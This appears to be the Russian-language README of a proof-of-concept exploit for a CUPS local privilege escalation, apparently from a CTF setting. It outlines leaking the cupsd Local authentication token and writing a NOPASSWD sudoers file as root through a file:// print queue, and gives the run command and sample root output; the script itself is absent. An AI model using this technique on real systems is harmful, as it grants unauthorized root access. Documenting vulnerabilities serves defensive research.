
Минимальный PoC для CVE-2026-34990: локальное повышение привилегий в CUPS <= 2.4.16, которое приводит к утечке токена Local-аутентификации cupsd и записи фрагмента sudoers с NOPASSWD от имени root.
Локальное повышение привилегий в CUPS <= 2.4.16, работающем от имени root. Утекает локальный токен аутентификации cupsd, затем записывает фрагмент sudoers с NOPASSWD от имени root через очередь печати file://.
python3 poc.py
При успехе:
[*] CVE-2026-34990 | user=ctfplayer | cupsd=127.0.0.1:631
[*] coercing cupsd - rogue server ...
[+] captured token: f4a8...c31b
[*] writing sudoers ...
[+] wrote /etc/sudoers.d/ctfplayer-pwn
[+] ROOT: uid=0(root) gid=0(root) groups=0(root)
[*] run: sudo -i
Затем:
sudo -i
Этот скрипт предназначен исключительно для образовательных целей. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим эксплойтом. Всегда убеждайтесь, что у вас есть разрешение перед тестированием или эксплуатацией уязвимостей!